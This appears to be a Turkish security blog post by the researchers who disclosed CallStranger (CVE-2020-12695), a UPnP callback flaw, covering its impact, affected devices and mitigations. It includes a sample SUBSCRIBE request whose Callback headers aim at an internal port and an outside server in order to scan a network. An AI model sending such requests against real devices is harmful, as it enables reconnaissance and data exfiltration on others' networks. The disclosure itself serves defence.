Anasayfa » Milyarlarca Cihazı Etkileyen Zafiyet: CallStranger

Makaleyi Paylaş

Blog

Milyarlarca Cihazı Etkileyen Zafiyet: CallStranger

Dijitalleşme sürecimiz bilimkurgu filmlere yaklaşırken siber güvenlik “ağa bağlı olan herkesin” ilgilenmesi gereken bir konu oldu. Artık her zafiyet ya bizi hedef almakta ya da bizi kaynak olarak kullanmaktadır.

IT dünyasını yazılım, donanım olarak ikiye ayırırsak bu iki kanal arasındaki iletişimi protokollerin yürüttüğünü rahatlıkla söyleyebiliriz. Son yıllarda çok fazla sayıda OT/IoT güvenliği projesi gerçekleştirirken protokolleri de inceleme fırsatı buluyoruz. Yaptığımız çalışmaların birisinde UPnP protokolünde mimari bir problem tespit ettik ve bu problem standarda uygun bir şekilde geliştirilmiş olan tüm UPnP cihazları etkilediğini gördük.

CallStranger

CallStranger (CVE-2020-12695) zafiyeti NIST NVD tarafından 7.5 (CVSS V2:7.8) Yüksek derece ile puanlanan bir açıklıktır. UPnP protokolü kullanan cihazlarda bir değişiklik olması durumunda (yeni bir cihazın ağa bağlanması, videonun bitmesi, ses seviyesinin değişmesi)  ilgili sistemlere bilgi verilmesine olanak sağlayan SUBSCRIBE fonksiyonunda, değişikliğin bildirileceği Callback başlığının saldırganlar tarafından kontrol edilebilmesi ile zafiyet oluşur. Bu açıklık SSRF zafiyeti ile benzerlik gösterir. SSRF’ten farkı yanıtın doğrudan isteği gerçekleştiren saldırgana değil 3. tarafa (Stranger) gönderilmesidir.


CALLBACK

Required. Field value contains location to send event messages to. Defined by UPnP vendor. If there is more than one URL, when the service sends events, it will try these URLs in order until one succeeds. One or more URLs each enclosed by angle brackets (“<” and “>”). Each URL shall be an HTTP over TCP URL (prefixed by “http://”). The device shall not truncate this URL in any way; if insufficient memory is available to store the entire CALLBACK URL, the device shall reject the subscription. At least one of the delivery URLs shall be reachable by the device.

Zafiyet hakkında detaylı bilgiye http://www.callstranger.com, ilgili tarama araçlarına ise   https://github.com/yunuscadirci/CallStranger  adresinden ulaşabilirsiniz.

Zafiyetin 3 temel etkisi vardır:

Veri Sızdırma

Günümüzde saldırganların sistemlere sızdıktan sonraki nihai hedefleri içeride geçirdikleri sürede elde ettikleri verileri dışarı sızdırmaktır.  https://www.ey.com/Publication/vwLUAssets/EY-active-defense-cybersecurity/$FILE/EY-active-defense-cybersecurity.pdf

Kurumlar bu sızıntıları engellemek için DLP, FW, NAC gibi cihazları aktif bir şekilde kullanmaktadırlar. CallStranger zafiyeti kurumsal firmaların daha önceden bilmedikleri (zero-day) bir veri sızdırma yöntemidir. Sunucu networkünüzde, sistem odanızda kullandığınız ve UPnP servisinin açık olup olmadığını bilmediğiniz cihazlar dahi saldırganların dışarı veri sızdırması için kullanılmış olabilir.

Yaptığımız testlerde tek bir HTTP paketi ile dışarı 16 megabayt veri sızdırılabildiğini gördük. Protokol tabanlı bir sınırlama olmadığı için daha büyük boyutlu veri göndermek de mümkün olabilmektedir.

Yaptığımız testlerde yüzlerce cihazda (Tüm Windows sürümleri de dahil olmak üzere) bu zafiyetin var olduğunu gördük. Üreticilerden örnekleme yöntemi ile konfirme edilmiş cihazların bir kısmı (devamlı güncellenen liste için http://www.callstranger.com/#vulnerabledevices adresini ziyaret edebilirsiniz) :

  • Windows 10 (Probably all Windows versions including servers) – upnphost.dll 10.0.18362.719
  • Xbox One- OS Version 10.0.19041.2494
  • ADB TNR-5720SX Box (TNR-5720SX/v16.4-rc-371-gf5e2289 UPnP/1.0 BH-upnpdev/2.0)
  • Asus ASUS Media Streamer
  • Asus RT-N66U Firmware: 3.0.0.4.382_51640-g679a7e3
  • Asus Rt-N11
  • Belkin WeMo
  • Bose SoundTouch 10 (http://x.x.x.x:8091/QPlay/Event)
  • Broadcom ADSL Modems
  • Canon Canon SELPHY CP1200 Printer
  • Cisco X1000 (Linksys X1000) – (LINUX/2.4 UPnP/1.0 BRCM400/1.0)
  • Cisco X3500 (Linksys X3500) – (LINUX/2.4 UPnP/1.0 BRCM400/1.0)
  • D-Link DVG-N5412SP WPS Router (OS 1.0 UPnP/1.0 Realtek/V1.3)
  • Denon X3500H (LINUX UPnP/1.0 Denon-Heos/155415)
  • EPSON EP, EW, XP Series (EPSON_Linux UPnP/1.0 Epson UPnP SDK/1.0)
  • FRITZ!Box (FRITZ!Box 4020 UPnP/1.0 AVM FRITZ!Box 4020 147.06.83)
  • HP Deskjet, Photosmart, Officejet ENVY Series (POSIX, UPnP/1.0, Intel MicroStack/1.0.1347)
  • Huawei HG255s Router – Firmware HG255sC163B03 (ATP UPnP Core)
  • Huawei MyBox (Linux/3.4.67_s40 UPnP/1.0 HUAWEI_iCOS/iCOS V1R1C00)
  • JRiver DLNA Server 19.0.163 (Windows, UPnP/1.1 DLNADOC/1.50, JRiver/19)
  • LG webOS TV OLED55C9PLA (Linux/i686 UPnP/1,0 DLNADOC/1.50 LGE WebOS TV/Version 0.9)
  • Linksys router (http://x.x.x.x:49152/upnp/event/Layer3Forwarding)
  • NEC AccessTechnica WR8165N Router ( OS 1.0 UPnP/1.0 Realtek/V1.3)
  • Philips 2k14MTK TV – Firmware TPL161E_012.003.039.001
  • Samsung UE55MU7000 TV – Firmware T-KTMDEUC-1280.5, BT – S
  • Samsung MU8000 TV
  • Synology NAS (Linux/3.10.105, UPnP/1.0, Portable SDK for UPnP devices/1.6.21)
  • TP-Link TL-WA801ND (Linux/2.6.36, UPnP/1.0, Portable SDK for UPnP devices/1.6.19)
  • TP-Link Archer VR200 (Linux/2.6.32.42, UPnP/1.0, Portable SDK for UPnP devices/1.6.19)
  • Trendnet TV-IP551W (OS 1.0 UPnP/1.0 Realtek/V1.3)
  • ZTE MF275R (ZTE/1.0 UPnP/1.0 MiniUPnPd/1.4)
  • Zyxel VMG8324-B10A (LINUX/2.6 UPnP/1.0 BRCM400-UPnP/1.0)

 DDoS

Milyarlarca cihazın büyük bir kısmı ev networklerinde olsa da Shodan ve diğer motorlarda yaptığımız incelemelerde milyonlarca cihazın UPnP servislerinin internete açık olduğunu gördük. Bu motorlar genel olarak tüm TCP portlarını değil de bilinen portları taradığından gerçek sayının bu sayının kat kat üzerinde olduğunu gördük. Saldırganların dorudan kullanmaması için ilgili bilgileri teknik rapora doğrudan eklemedik.

Teknik raporda da görüleceği üzere bu saldırı hem SYN Flood hem de HTTP Flood için kullanılabilir. Bazı cihazların neredeyse tek HTTP isteği ile milyonlarca SYN paketi oluşturabildiği görüldü. Bu da amplification factor’ü inanılmaz oranlara çıkarabilmekte.  Bazı botnetlerin saldırılarında bu yöntemi kullanmaları kısa ve orta vadede beklenebilir.

Port Tarama

Bu araştırmanın en önemli ilginç sonucu ise UPnP cihazları kullanarak port tarama imkanının yapılabilmesi. UPnP spesifikasyonunu okuduğumuzda “ If there is more than one URL, when the service sends events, it will try these URLs in order until one succeeds” kısmı önem arz ediyor.

SUBSCRIBE /upnphost/udhisapi.dll?event=uuid:9e6070b6-c2a1-4b76-927c-690237070629+urn:upnp-org:serviceId:RenderingControl HTTP/1.1

NT: upnp:event

Callback: <http://192.168.0.22:999/>

Callback: <http://DışSunucu/192.168.0.22_port_999_closed>

Örneğindeki gibi bir veri göndererek port 999’un açık olup olmadığını kontrol edebiliriz. Bir Windows cihazı kullanarak bu şekilde iç ağı tarama imkânı elde ettik. Veri sızdırma başlığında değindiğimiz Cyber Kill Chain’de ağ taraması da bu teknikle gerçekleştirilebiliyor.

Hangi önlemleri almalıyız:

Ev kullanıcılarının doğrudan bir saldırı almalarını beklemiyoruz. Dolayısı ile yurtdışı makalelerde belirtildiği gibi modemlerde bu açıklık için UPnP’yi kapatmalarına ihtiyaç bulunmamakta. Modem gibi cihazların UPnP portlarına Internetten erişilip erişilmediğini https://www.ipfingerprints.com/portscan.php gibi online servislerden veya dış bir ağdan gerçekleştirilecek Nmap taraması ile yapabilirsiniz. Hangi portları kontrol etmeniz gerektiğini Githubda bulunan https://github.com/yunuscadirci/CallStranger script ile kontrol edebilirsiniz. https://blog.it-kb.ru/2020/06/20/callstranger-vulnerability-cve-2020-12695-in-universal-plug-and-play-upnp-and-powershell-script-for-ssdp-network-scan/ adresinde de bir powershell betiği bulunmaktadır.

Kurumsal şirketler için alınması gereken önlemlerin boyutu değişiyor. Tüm UPnP cihazları potansiyel veri sızdırma noktası olarak ele alınıp KVKK ve diğer gereksinimler nedeni ile DLP vb. önlemleriniz varsa yeni tehdit modellemesi ile bu konfigürasyonlar tekrar gözden geçirilmelidir. Bir DDoS önleme hizmeti alıyorsanız veya ürüne sahipseniz yeni saldırı türüne karşı güncellemeleri gerçekleştirmelisiniz. Firewall ve diğergüvenlik ürünleri üzerinde – başka bir iş gereksinimi yok ise- tüm HTTP SUBSCRIBE ve NOTIFY paketlerini yasaklayabilirsiniz.

Sonuç

6 aylık bir süreçte binlerce mail ve yüzlerce paydaş ile koordinasyon sonucunda açıkladığımız CallStranger, zafiyetlerin sadece yazılımlarda değil protokollerde de olabileceğini gösterdi.  Özellikle kurumsal şirketlerin yılda birkaç kez dışarıdan sızma testi ile yetinmemesi, tehdit modellemesi ve varlık yönetimi süreçlerini etkin bir şekilde yürüterek protokol/zero day tabanlı açıklıklara karşı etkinliğini artırması sağlanmalıdır.

Referanslar

https://github.com/yunuscadirci/CallStranger

https://www.callstranger.com/

https://nvd.nist.gov/vuln/detail/CVE-2020-12695

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12695

https://www.kb.cert.org/vuls/id/339275

https://security-tracker.debian.org/tracker/CVE-2020-12695

https://access.redhat.com/security/cve/cve-2020-12695

https://en.wikipedia.org/wiki/Universal_Plug_and_Play#Callback_Vulnerability

https://www.tenable.com/blog/cve-2020-12695-callstranger-vulnerability-in-universal-plug-and-play-upnp-puts-billions-of

https://arstechnica.com/information-technology/2020/06/upnp-flaw-exposes-millions-of-network-devices-to-attacks-over-the-internet/

https://www.zdnet.com/article/callstranger-vulnerability-lets-attacks-bypass-security-systems-and-scan-lans/

https://www.scmagazine.com/home/security-news/vulnerabilities/callstranger-bug-in-billions-of-devices-allows-data-exfiltration-dos-attacks/

https://www.synology.com/en-global/security/advisory/Synology_SA_20_13

https://businessinsights.bitdefender.com/callstranger-is-exactly-the-type-of-vulnerability-isps-fear

Makaleyi Paylaş

3 Yorum

  1. Eline sağlık

    Cevapla
  2. Verdiğiniz emekler ile şaşırtmaya devam ediyorsunuz Çözüm Park ailesi.
    Baştan sonra tüm ekibe derin saygılarımla,
    Var olun üstatlar !

    Cevapla
  3. eline sağlık güzel içerik

    Cevapla

Cevap bırakın

Email adresiniz gizli kalacak Zorunlu alanlar * olarak işaretlenmiştir

Bunları kullanabilirsinizHTML etiketler ve öznitelikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>